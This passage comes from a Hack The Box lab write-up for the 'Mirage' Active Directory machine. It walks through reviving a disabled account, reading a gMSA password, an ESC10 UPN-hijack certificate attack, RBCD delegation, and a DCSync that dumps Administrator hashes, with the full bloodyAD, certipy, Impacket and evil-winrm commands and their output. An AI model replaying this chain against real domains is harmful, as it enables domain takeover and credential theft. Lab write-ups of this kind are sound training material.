-5-32-554)(OA;CIID;RP;4c164200-20c0-11d0-a768-00aa006e0529;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;CIIOID;RP;5f202010-79a5-11d0-9020-00c04fc2d4cf;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-32-554)(OA;CIID;RP;5f202010-79a5-11d0-9020-00c04fc2d4cf;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;CIIOID;RP;bc0ac240-79a9-11d0-9020-00c04fc2d4cf;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-32-554)(OA;CIID;RP;bc0ac240-79a9-11d0-9020-00c04fc2d4cf;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;CIIOID;RP;59ba2f42-79a2-11d0-9020-00c04fc2d3cf;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-32-554)(OA;CIID;RP;59ba2f42-79a2-11d0-9020-00c04fc2d3cf;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;CIIOID;RP;037088f8-0ae1-11d2-b422-00a0c968f939;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-32-554)(OA;CIID;RP;037088f8-0ae1-11d2-b422-00a0c968f939;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;CIID;0x30;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-2127163471-3824721834-2568365109-526)(OA;CIID;0x30;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-2127163471-3824721834-2568365109-527)(OA;CIIOID;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-3-0)(OA;CIIOID;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-5-10)(OA;CIIOID;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-5-9)(OA;CIIOID;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-9)(OA;CIID;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-9)(OA;CIIOID;WP;ea1b7b93-5e48-46d5-bc6c-4df4fda78a35;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-5-10)(OA;CIIOID;0x20094;;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-32-554)(OA;CIIOID;0x20094;;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;CIID;0x20094;;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;OICIID;0x30;3f78c3e5-f79a-46bd-a0b8-9d18116ddc79;;S-1-5-10)(OA;CIID;0x130;91e647de-d96f-4b70-9557-d63ff4f3ccd8;;S-1-5-10)(A;CIID;0xf01ff;;;S-1-5-21-2127163471-3824721834-2568365109-519)(A;CIID;LC;;;S-1-5-32-554)(A;CIID;0xf01bd;;;S-1-5-32-544)
name: javier.mmarshall
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=mirage,DC=htb
objectClass: top; person; organizationalPerson; user
objectGUID: c52e731b-30c1-439c-a6b9-0c2f804e5f08
objectSid: S-1-5-21-2127163471-3824721834-2568365109-1108
primaryGroupID: 513
pwdLastSet: 2025-07-20 15:11:39.298284+00:00
sAMAccountName: javier.mmarshall
sAMAccountType: 805306368
uSNChanged: 159940
uSNCreated: 24655
userAccountControl: ACCOUNTDISABLE; NORMAL_ACCOUNT; DONT_EXPIRE_PASSWORD
userPrincipalName: [email protected]
whenChanged: 2025-07-20 15:11:39+00:00
whenCreated: 2025-05-02 08:33:11+00:00ACCOUNTDISABLE is flagged in the userAccountControl attribute.
Although it looks like this time we may don't have the GenericAll or GenericWrite to write over it, explicitly. However, we do have certain implicit write primitive beyond ForceChangePassword after testing (we don't need to go too deep into detailed security descriptors here):
./ft.sh mirage.htb \
bloodyAD --host dc01.mirage.htb -d mirage.htb \
-u 'mark.bbond' -p '1day@atime' -k \
set object 'javier.mmarshall' 'userAccountControl' \
-v 512Value 512 flags it as the normal account:

But this is not enough, which will still returns us the KDC_ERR_CLIENT_REVOKED error again — she is still restricted by that DISABLE OU.
logonHours
If we look closer, we can see the logonHours attribute from previous dump is empty:
lastLogonTimestamp: 2025-05-22 21:45:29.508220+00:00
logonCount: 13
logonHours:
memberOf: CN=IT_Contractors,OU=Groups,OU=Contractors,OU=IT_Staff,DC=mirage,DC=htbIt defines when a user is allowed to log on to the domain — no allowed login window means no login at all.
We inspect Mark's hours for comparison:
$ ./ft.sh mirage.htb \
bloodyAD --host dc01.mirage.htb -d mirage.htb \
-u 'mark.bbond' -p '1day@atime' -k \
get object mark.bbond --attr logonHours --raw
[*] Querying offset from: mirage.htb
[*] faketime -f format: +25202.251346
25202.251346s
[*] Running: bloodyAD --host dc01.mirage.htb -d mirage.htb -u mark.bbond -p 1day@atime -k get object mark.bbond --attr logonHours --raw
distinguishedName: CN=mark.bbond,OU=Users,OU=Support,OU=IT_Staff,DC=mirage,DC=htb
logonHours: ////////////////////////////Encoded in Base64, this maps to 21 bytes of 0xFF—24/7 login.
Attempt to overwrite the logonHours attribute with bloodyAD:
./ft.sh mirage.htb \
bloodyAD --host dc01.mirage.htb -d mirage.htb \
-u 'mark.bbond' -p '1day@atime' -k \
set object 'javier.mmarshall' 'logonHours' \
-v '////////////////////////////' --rawIts fails due to LDAP restrictions:
msldap.commons.exceptions.LDAPModifyException: LDAP Modify operation failed on DN CN=javier.mmarshall,OU=Users,OU=Disabled,DC=mirage,DC=htb! Result code: "unwillingToPerform" Reason: "b'00
000032: SvcErr: DSID-031A126C, problem 5003 (WILL_NOT_PERFORM), data 0\n\x00'"This happens via bloodyAD when we want to set raw value to an object… So we pivot to PowerShell, using Mark's creds to sync his logonHours to Javier:
# Setup creds
$pwd = ConvertTo-SecureString '1day@atime' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential ('mirage\mark.bbond', $pwd)
# copy Mark's logonHours to Javier
$logonHours = (Get-ADUser -Identity mark.bbond -Credential $Cred -Properties LogonHours).LogonHours
Set-ADUser -Identity javier.mmarshall -Credential $Cred -Replace @{LogonHours = $logonHours}Then reissue the password reset to validate access:

And now we can validate the account again by changing her password:

To ensure persistence and avoid any cleanup scripts reverting changes, immediately request a TGT:
./ft.sh mirage.htb \
getTGT.py 'mirage.htb/javier.mmarshall:Axura4sure~'Javier is back.
ReadGMSAPassword
After reviving javier.mmarshall, we drop into gMSA password hunting — Javier has read access to the Group Managed Service Account (gMSA): Mirage-service$:

Exploit this priv with Netexec:
export KRB5CCNAME=javier.mmarshall.ccache
./ft.sh mirage.htb \
nxc ldap dc01.mirage.htb \
-u 'javier.mmarshall' --use-kcache \
--gmsa
Leaked Ntlm hash of the computer account Mirage-service$:
305806d84f7c1be93a07aaf40f0c7866ADCS
Earlier recon (there're many ways and I got it via a small quick AV-bypass tool) flagged Active Directory Certificate Services (AD CS) as active:
[-] Certificate Services:
* CA Name: mirage-DC01-CA
DNSHostName: dc01.mirage.htb
WhenCreated: 5/1/2025 12:53:41 AM
Flags: SUPPORTS_NT_AUTHENTICATION, CA_SERVERTYPE_ADVANCED
Enrollment Servers:
Certificate Templates: DirectoryEmailReplication,DomainControllerAuthentication,KerberosAuthentication,EFSRecovery,EFS,DomainController,WebServer,Machine,User,SubCA,Administrator
Enrollment Endpoints:
Supplied SAN Enabled: FALSE
Cert SubjectName: CN=mirage-DC01-CA, DC=mirage, DC=htb
Cert Thumbprint: 6665F5ABAA9AEC6DD876EACED27AB46051612F0B
Cert Start Date: 7/4/2025 12:58:25 PM
Cert End Date: 7/4/2125 1:08:25 PM
- DACL on dc01.mirage.htb:LocalMachine:SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\mirage-DC01-CA
Authenticated Users Enroll
BUILTIN\Administrators ManageCA, ManageCertificates
Owner
MIRAGE\Domain Admins ManageCA, ManageCertificates
MIRAGE\Enterprise Admins ManageCA, ManageCertificatesAs the DACL exploit path depicted from BloodHound has come to the end, we are going to look for other privesc opportunities from Certificate Service.
UPN Write Primitive
Request a TGT:
./ft.sh mirage.htb \
getTGT.py MIRAGE.HTB/Mirage-Service$ \
-hashes :305806d84f7c1be93a07aaf40f0c7866Run Certipy to perform enumeration:
mv "Mirage-Service\$.ccache" Mirage-Service.ccache
./ft.sh mirage.htb \
env KRB5CCNAME=Mirage-Service.ccache \
env KRB5_CONFIG=/tmp/mirage.krb5 \
certipy -debug find \
-target dc01.mirage.htb \
-dc-ip $target_ip \
-k \
-vulnerableCertipy shows no immediate misconfigs, so we go manual.
We pivot with the gMSA creds to enumerate write privileges on the Mirage-Service account:
./ft.sh mirage.htb \
env KRB5CCNAME=Mirage-Service.ccache \
env KRB5_CONFIG=/tmp/mirage.krb5 \
bloodyAD --host dc01.mirage.htb -d mirage.htb \
-k \
get writableOutput:
distinguishedName: CN=TPM Devices,DC=mirage,DC=htb
permission: CREATE_CHILD
distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=mirage,DC=htb
permission: WRITE
distinguishedName: CN=mark.bbond,OU=Users,OU=Support,OU=IT_Staff,DC=mirage,DC=htb
permission: WRITE
distinguishedName: CN=Mirage-Service,CN=Managed Service Accounts,DC=mirage,DC=htb
permission: WRITEIt has the WRITE permission on the already compromised mark.bbond. The most common privilege escalation use case is to hijack the UPN—analogous to namespace hijacking in Linux. Directly setting the UPN to Administrator and expecting the Domain Controller to accept it is futile—modern AD hardens against such naive tricks.
But the essence of this attack lies in identity impersonation. By assigning a forged UPN to mark.bbond, we attempt to authenticate to domain services under a privileged identity. If these services—like CIFS, HTTPS, LDAP, SMB—don't enforce strict identity validation, we might slip past checks and operate as the impersonated user.
ESC10
With the SPN primitive available, the next step is to explore UPN-abuse paths documented in the Certipy wiki.
Schannel Certificate Mapping
It turns out we can identify another attack vector related to ESC10, by inspecting the SCHANNEL registry:
reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL
Focus on the CertificateMappingMethods attribute:
0x4(0b100) ⇒ bit 2 is set and set only.- Bit 2 corresponds to UPN‑based certificate mapping
With UPN mapping active, Schannel will accept any client‑authentication certificate whose SubjectAltName:UPN matches an AD user's userPrincipalName. It means no certificate needs to be pre‑registered or strongly bound — that is the exact insecure configuration identified by ESC10.
Schannel (TLS/SSL stack on Windows) can map a client-auth certificate to an AD account by several methods. The registry value
CertificateMappingMethods = 0x4means the administrator has explicitly enabled only the “UPN‑mapping” method inside Schannel → schannel copies the UPN from the cert's SAN, looks up an AD object whoseuserPrincipalNamematches, and logs us in as that account – no SID check, no strong binding, independent of Kerberos PKINIT settings.
So this is very similar as the concept for Namespace abuse in Linux. An attacker we can:
- Modify a low-priv user's UPN to set it as a privileged account's UPN (e.g.
administrator) - Obtain a client-auth certificate for that user, enroll a cert
- This cert will now contain UPN of the forged privileged user (e.g.
administrator) - Then use the cert to authenticate to LDAPS / IIS / WinRM etc.
- The certificate maps to the privileged account for the authenticated service (e.g. LDAPS), due to
CertificateMappingMethods = 0x4is set.
Exploit
With these two primitives confirmed (UPN write primitve & Schannel Certificate Mapping set as 0x4), we can try to privesc with ESC10.
Step 1, update the victim (mark.bbond) account's UPN to the target DC's sAMAccountName (suffixed with the domain, aka dc01$):
export KRB5CCNAME=Mirage-Service.ccache
./ft.sh mirage.htb \
certipy account update \
-target dc01.mirage.htb \
-dc-ip $target_ip \
-k \
-user 'mark.bbond' \
-upn '[email protected]'
Step 2, we acquire a new ticket for mark.bbond and request a client authentication certificate as the himself. Here we can use the universal User template:
"32": {
"Template Name": "User",
"Display Name": "User",
"Certificate Authorities": [
"mirage-DC01-CA"
],
"Enabled": true,
"Client Authentication": true,
"Enrollment Agent": false,
"Any Purpose": false,
"Enrollee Supplies Subject": false,
"Certificate Name Flag": [
33554432,
67108864,
536870912,
2147483648
],
...
"Extended Key Usage": [
"Encrypting File System",
"Secure Email",
"Client Authentication"
],
...
"Permissions": {
"Enrollment Permissions": {
"Enrollment Rights": [
"MIRAGE.HTB\\Domain Admins",
"MIRAGE.HTB\\Domain Users",
"MIRAGE.HTB\\Enterprise Admins"
]
},
...
"[+] User Enrollable Principals": [
"MIRAGE.HTB\\Domain Users"
],
"[*] Remarks": {
"ESC2 Target Template": "Template can be targeted as part of ESC2 exploitation. This is not a vulnerability by itself. See the wiki for more details. Template has schema version 1.",
"ESC3 Target Template": "Template can be targeted as part of ESC3 exploitation. This is not a vulnerability by itself. See the wiki for more details. Template has schema version 1."
}
}Request a new ticket for mark.bbond and use it to request a certificate:
# Get a new TGT for Mark
./ft.sh mirage.htb \
getTGT.py 'MIRAGE.HTB/mark.bbond:1day@atime'
# Apply the kcache
export KRB5CCNAME=mark.bbond.ccache
# Request a tempalate with the hijacked UPN kcache
./ft.sh mirage.htb \
certipy -debug req \
-target dc01.mirage.htb \
-dc-ip $target_ip \
-dc-host dc01.mirage.htb \
-u 'mark.bbond' -k -no-pass \
-ca mirage-DC01-CA \
-template UserAs a result, the certificate will be legitimately issued to the mark.bbond account, but the UPN in its SAN will be the manipulated [email protected]:
[+] Domain retrieved from CCache: MIRAGE.HTB
[+] Username retrieved from CCache: mark.bbond
[+] Nameserver: '10.129.107.1'
[+] DC IP: '10.129.107.1'
[+] DC Host: 'dc01.mirage.htb'
[+] Target IP: None
[+] Remote Name: 'dc01.mirage.htb'
[+] Domain: 'MIRAGE.HTB'
[+] Username: 'MARK.BBOND'
[+] Trying to resolve 'dc01.mirage.htb' at '10.129.107.8'
[+] Generating RSA key
[*] Requesting certificate via RPC
[+] Checking for Kerberos ticket cache
[+] Loaded Kerberos cache from mark.bbond.ccache
[+] Using TGT from cache
[+] Username retrieved from CCache credential: mark.bbond
[+] Getting TGS for 'HOST/dc01.mirage.htb'
[+] Got TGS for 'HOST/dc01.mirage.htb'
[+] Trying to connect to endpoint: ncacn_np:10.129.107.1[\pipe\cert]
[+] Connected to endpoint: ncacn_np:10.129.107.1[\pipe\cert]
[*] Request ID is 14
[*] Successfully requested certificate
[*] Got certificate with UPN '[email protected]'
[+] Found SID in security extension: 'S-1-5-21-2127163471-3824721834-2568365109-1109'
[*] Certificate object SID is 'S-1-5-21-2127163471-3824721834-2568365109-1109'
[*] Saving certificate and private key to 'dc01.pfx'
[+] Attempting to write data to 'dc01.pfx'
[+] Data written to 'dc01.pfx'
[*] Wrote certificate and private key to 'dc01.pfx'Revert the "victim" account's UPN to its original value — this is important, or the the next move may fail:
export KRB5CCNAME=Mirage-Service.ccache
./ft.sh mirage.htb \
certipy account update \
-target dc01.mirage.htb \
-dc-ip $target_ip \
-k \
-user 'mark.bbond' \
-upn 'mark.bbond'This is because our PFX contains a Security Identifier extension with Mark's SID, which outranks UPN mapping. We need to recover the original UPN mapping with its SID.
Then we can use the generated certificate dc01.pfx (a private key) to authenticate to LDAPS (Schannel) as the target DC:
./ft.sh mirage.htb \
certipy auth \
-dc-ip $target_ip \
-pfx dc01.pfx \
-ldap-shell \
-ldap-user-dn 'dc01$'SAN UPN is updated and we open an LDAP shell:

RBCD
Look up help manual in the LDAP shell:
# help
add_computer computer [password] [nospns] - Adds a new computer to the domain with the specified password. If nospns is specified, computer will be created with only a single necessary HOST SPN. Requires LDAPS.
rename_computer current_name new_name - Sets the SAMAccountName attribute on a computer object to a new value.
add_user new_user [parent] - Creates a new user.
add_user_to_group user group - Adds a user to a group.
change_password user [password] - Attempt to change a given user's password. Requires LDAPS.
clear_rbcd target - Clear the resource based constrained delegation configuration information.
disable_account user - Disable the user's account.
enable_account user - Enable the user's account.
dump - Dumps the domain.
search query [attributes,] - Search users and groups by name, distinguishedName and sAMAccountName.
get_user_groups user - Retrieves all groups this user is a member of.
get_group_users group - Retrieves all members of a group.
get_laps_password computer - Retrieves the LAPS passwords associated with a given computer (sAMAccountName).
grant_control target grantee - Grant full control of a given target object (sAMAccountName) to the grantee (sAMAccountName).
set_dontreqpreauth user true/false - Set the don't require pre-authentication flag to true or false.
set_rbcd target grantee - Grant the grantee (sAMAccountName) the ability to perform RBCD to the target (sAMAccountName).
start_tls - Send a StartTLS command to upgrade from LDAP to LDAPS. Use this to bypass channel binding for operations necessitating an encrypted channel.
write_gpo_dacl user gpoSID - Write a full control ACE to the gpo for the given user. The gpoSID must be entered surrounding by {}.
whoami - get connected user
dirsync - Dirsync requested attributes
exit - Terminates this session.With Domain Controller privileges in hand, we now control the heart of the domain—but even with limited LDAP rights, that's enough to pivot into full domain dominance.
The cleanest path forward is to overwrite the msDS‑AllowedToActOnBehalfOfOtherIdentity attribute on dc01$, enabling Resource-Based Constrained Delegation (RBCD).
- Target: Can be computer objects or users we want to impersonate to (e.g.
dc01$).- Grantee: The computer (or user) we control whose TGT/TGS will be used to impersonate anyone toward the target (e.g.
Mirage-Service$).
"Grant the grantee (sAMAccountName) the ability to perform RBCD to the target (sAMAccountName)":
# set_rbcd dc01$ Mirage-Service$
Found Target DN: CN=DC01,OU=Domain Controllers,DC=mirage,DC=htb
Target SID: S-1-5-21-2127163471-3824721834-2568365109-1000
Found Grantee DN: CN=Mirage-Service,CN=Managed Service Accounts,DC=mirage,DC=htb
Grantee SID: S-1-5-21-2127163471-3824721834-2568365109-1112
Delegation rights modified successfully!
Mirage-Service$ can now impersonate users on dc01$ via S4U2ProxyWith the delegation link forged, we request a new TGT as Mirage-Service$:
./ft.sh mirage.htb \
env KRB5_CONFIG=/tmp/mirage.krb5 \
getTGT.py MIRAGE.HTB/Mirage-Service$ \
-hashes :305806d84f7c1be93a07aaf40f0c7866Next, the classic RBCD flow — impersonate dc01$ itself and pivot back in with elevated access:
# Use the new kcahce for mirage-service$
export KRB5CCNAME='Mirage-Service$.ccache'
# S4U2self + S4U2Proxy
./ft.sh mirage.htb \
getST.py -spn 'cifs/dc01.mirage.htb' \
-k -no-pass \
-impersonate 'dc01$' \
-dc-ip $target_ip \
'mirage.htb/Mirage-Service$'
# Use the forged kcache
export KRB5CCNAME='dc01$.ccache'
# DCSync for Administrator
./ft.sh mirage.htb \
secretsdump.py 'dc01$'@dc01.mirage.htb -k -no-pass -dc-ip $target_ip -just-dc-user administratorDump hashes:
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
mirage.htb\Administrator:500:aad3b435b51404eeaad3b435b51404ee:7be6d4f3c2b9c0e3560f5a29eeb1afb3:::
[*] Kerberos keys grabbed
mirage.htb\Administrator:aes256-cts-hmac-sha1-96:09454bbc6da252ac958d0eaa211293070bce0a567c0e08da5406ad0bce4bdca7
mirage.htb\Administrator:aes128-cts-hmac-sha1-96:47aa953930634377bad3a00da2e36c07
mirage.htb\Administrator:des-cbc-md5:e02a73baa10b8619
[*] Cleaning up...NTLM is truly disabled, but we can request a Kerberos ticket along with the admin hash:
./ft.sh mirage.htb \
env KRB5_CONFIG=/tmp/mirage.krb5 \
env KRB5CCNAME=administrator.ccache \
evil-winrm -i dc01.mirage.htb -r mirage.htbRooted:






Comments | NOTHING